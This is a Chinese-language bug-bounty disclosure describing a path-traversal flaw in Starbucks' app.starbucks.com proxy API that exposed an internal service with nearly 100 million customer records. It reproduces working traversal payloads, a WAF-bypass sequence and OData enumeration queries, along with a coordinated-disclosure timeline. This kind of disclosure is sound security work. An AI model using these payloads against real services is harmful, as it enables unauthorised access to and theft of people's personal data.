入侵星巴克并访问近1亿客户记录

目录导航

经过一整天的尝试并未能在Verizon Media错误赏金计划中找到漏洞,我决定将其退出并做些琐事。我需要为朋友的生日买礼物,然后上网订购了星巴克的礼品卡。

当尝试在星巴克网站上购买它时,我不禁注意到许多API调用立即引起了可疑。在以“/bff/proxy/”为前缀的API下发送的请求返回的数据似乎来自另一台主机。

由于星巴克有一个漏洞赏金计划,并且那天那天我的进度为零,这让我有点不知所措,因此我决定进一步研究它们。

以下是返回我的用户信息的那些API调用之一的示例:

POST /bff/proxy/orchestra/get-user HTTP/1.1 Host: app.starbucks.com

{ "data": { "user": { "exId": "77EFFC83-7EE9-4ECA-9049-A6A23BF1830F", "firstName": "Sam", "lastName": "Curry", "email": "[email protected]", "partnerNumber": null, "birthDay": null, "birthMonth": null, "loyaltyProgram": null } } }

术语“ bff”实际上代表“后端的前端”,表示与用户交互的应用程序将请求发送给另一台主机以获取实际的逻辑或功能。下面是一个非常简单的视图:

在上面的示例中,“ app.starbucks.com”主机将无法访问通过特定端点访问的逻辑或数据,但将充当假设的第二个主机“内部”的代理或中间人。 starbucks.com”。

这里要考虑的一些有趣的事情是…

  • 我们如何测试应用程序的路由?
  • 如果应用程序将请求路由到内部主机,则权限模型是什么样的?
  • 我们可以控制发送到内部主机的请求中的路径或参数吗?
  • 内部主机上是否有开放重定向,如果有,应用程序将遵循开放重定向吗?
  • 返回的内容是否必须匹配适当的类型(是否解析JSON,XML或任何其他数据?)

我做的第一件事是尝试遍历API调用,以便可以加载其他路径,而执行此操作的方式是发送以下payloads:

/bff/proxy/orchestra/get-user/..%2f /bff/proxy/orchestra/get-user/..;/ /bff/proxy/orchestra/get-user/../ /bff/proxy/orchestra/get-user/..%00/ /bff/proxy/orchestra/get-user/..%0d/ /bff/proxy/orchestra/get-user/..%5c /bff/proxy/orchestra/get-user/..\ /bff/proxy/orchestra/get-user/..%ff/ /bff/proxy/orchestra/get-user/%2e%2e%2f /bff/proxy/orchestra/get-user/.%2e/ /bff/proxy/orchestra/get-user/%3f (?) /bff/proxy/orchestra/get-user/%26 (&) /bff/proxy/orchestra/get-user/%23 (#)

可悲的是,这些都不起作用。他们都返回了我通常会看到的相同的404页面,该页面通常是试图加载网站上任何地方都不存在的页面的。

这表明仅仅因为请求中的路径在“ /bff/proxy”下,它并没有继承我随后发送的所有内容。它可能更加明确。

在这种情况下,我们可以将“/bff/proxy/orchestra/get-user”视为我们正在调用的未包含用户输入的功能。我们有可能找到一个确实可以接受用户输入的功能,例如“/bff/proxy/users/:id”,在这里我们可以腾出空间并测试它将接受的数据。如果我们发现这样的API调用,我们可能会更有运气尝试遍历有效负载并发送其他数据,因为它实际上吸收了用户输入。

我环顾了一下应用程序一段时间,直到发现更多API调用。我发现接受用户输入的第一个信息是:

GET /bff/proxy/v1/me/streamItems/:streamItemId HTTP/1.1 Host: app.starbucks.com

该端点不同于“获取用户”端点,因为最后一条路径作为参数存在,我们在其中提供了任意输入。如果将此输入作为内部系统上的路径处理,则我们可能会遍历它并访问其他内部端点。

幸运的是,我尝试的第一个测试返回了一个非常好的指标,表明我们可以遍历端点:

GET /bff/proxy/stream/v1/users/me/streamItems/..\ HTTP/1.1 Host: app.starbucks.com
{ "errors": [ { "message": "Not Found", "errorCode": 404, ...

此JSON响应与“ /bff/proxy”下所有其他常规API调用的JSON响应相同。这表明我们正在使用内部系统,并且已经成功地修改了我们正在与之交谈的路径。下一步将是映射内部系统,而做到这一点的最佳方法将是通过标识返回“ 400错误请求”的第一条路径遍历到root。

可悲的是,我遇到了一个小路障。有一个WAF不会让我深入两个目录:

GET /bff/proxy/stream/v1/users/me/streamItems/..\..\ HTTP/1.1 Host: app.starbucks.com

HTTP/1.1 403 Forbidden

幸运的是,WAF不怎么样:

GET /bff/proxy/v1/me/streamItems/web\..\.\..\ HTTP/1.1 Host: app.starbucks.com

{ "errors": [ { "message": "Not Found", "errorCode": 404, ...

最终,在返回7条路径后,我收到以下错误:

GET /bff/proxy/v1/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\..\ HTTP/1.1 Host: app.starbucks.com

{ "errors": [ { "message": "Bad Request", "errorCode": 400, ...

这意味着内部API的root是6个返回路径,我们可以使用目录暴力破解工具或Burp Suite的入侵者和密码表将其跑出来。

此时,由于我对功能的兴趣,我与Justin Gardner进行了探讨。

他几乎观察到内部系统的root目录,立即发现了许多路径,而没有正斜杠,随后便使用Burp的入侵者返回了重定向代码:

GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\. \..\.\..\.\..\.\search Host: app.starbucks.com

HTTP/1.1 301 Moved Permanently Server: nginx Content-Type: text/html Content-Length: 162 Location: /search/

贾斯汀(Justin)致力于寻找所有端点时,我逐一研究了每个目录。运行完自己的扫描后,我发现“ v1”存在于“搜索”下,而“ v1”之下是“帐户”和“地址”。

我给贾斯汀发了一条消息,想想如果“ /search/v1/accounts”端点是对所有生产帐户的搜索,那将是多么有趣……

“/search/v1/accounts”是可以访问所有星巴克帐户的Microsoft Graph实例。

GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\. \..\.\..\.\..\.\search\v1\Accounts\ HTTP/1.1 Host: app.starbucks.com


{ "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts", "value": [ { "Id": 1, "ExternalId": "12345", "UserName": "UserName", "FirstName": "FirstName", "LastName": "LastName", "EmailAddress": "[email protected]", "Submarket": "US", "PartnerNumber": null, "RegistrationDate": "1900-01-01T00:00:00Z", "RegistrationSource": "iOSApp", "LastUpdated": "2017-06-01T15:32:56.4925207Z" }, ... lots of production accounts

它是为生产帐户和地址提供的服务。我们开始进一步探索该服务,以使用Microsoft Graph功能确认我们的怀疑。

GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\ .\..\.\..\.\..\.\Search\v1\Accounts?$count=true Host: app.starbucks.com


{ "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts", "@odata.count":99356059 }

通过从Microsoft Graph URL添加“ $ count”参数,我们可以确定该服务具有近1亿条记录。
攻击者可以通过添加“ $ skip”和“ $ count”之类的参数枚举所有用户帐户来窃取此数据。

此外,要查明特定的用户帐户,攻击者可以使用“ $ filter”参数:

GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\. \..\.\..\.\..\.\Search\v1\Accounts?$filter=startswith(UserName,'redacted') HTTP/1.1 Host: app.starbucks.com

{ "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts", "value": [ { "Id": 81763022, "ExternalId": "59d159e2-redacted-redacted-b037-e8cececdf354", "UserName": "[email protected]", "FirstName": "Justin", "LastName": "Gardner", "EmailAddress": "[email protected]", "Submarket": "US", "PartnerNumber": null, "RegistrationDate": "2018-05-19T18:52:15.0763564Z", "RegistrationSource": "Android", "LastUpdated": "2020-05-16T23:28:39.3426069Z" } ] }

由于所有内容的敏感性,我们继续报告此问题。我们仍然没有时间去探索许多可以访问的API。我们发现的其他一些端点是…

barcode, loyalty, appsettings, card, challenge, content, identifier, identity, onboarding, orderhistory, permissions, product, promotion, account, billingaddress, enrollment, location, music, offers, rewards, keyserver

#条码,忠诚度,设置,银行卡,挑战,内容,标识符,身份,入职,订单历史记录,权限,产品,促销,帐户,帐单地址,注册,位置,音乐,优惠,奖励,密钥服务器

这些其他内部端点可能(尽管尚未确认)使我们能够访问和修改帐单地址,礼品卡,奖励和优惠等内容。

我们目前的概念证明表明,我们可以访问近1亿星巴克客户的姓名,电子邮件,电话号码和地址。

星巴克团队非常迅速地解决了这一问题,并在一天内解决了该问题。

摘要

  • “ app.starbucks.com”上“/bff/proxy/”下的端点在内部路由了请求以检索和存储数据。
  • 可以遍历这些API调用,以访问不应在内部主机上访问的命中URL。
  • 内部API有一个公开的Microsoft Graph实例,它使攻击者能够窃取近1亿条用户记录,包括姓名,电子邮件,电话号码和地址。

时间线

  • 5月16日报道
  • 5月17日补丁
  • 5月19日颁发的赏金(4,000美元)
  • 6月16日公开

附录

非常感谢Justin Gardner和Noah Pearson帮助撰写此报告。与星巴克团队的合作非常出色,他们在一天之内帮助解决了这一问题。希望以后能找到更多类似的问题,并希望看到发现相关漏洞的人的来稿。

如果您想对此问题进行更深入的研究,则此漏洞与我过去进行的名为“在Web应用程序中攻击辅助上下文”的演讲密切相关。也有许多类似的讨论和文章探讨类似的问题。

from

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注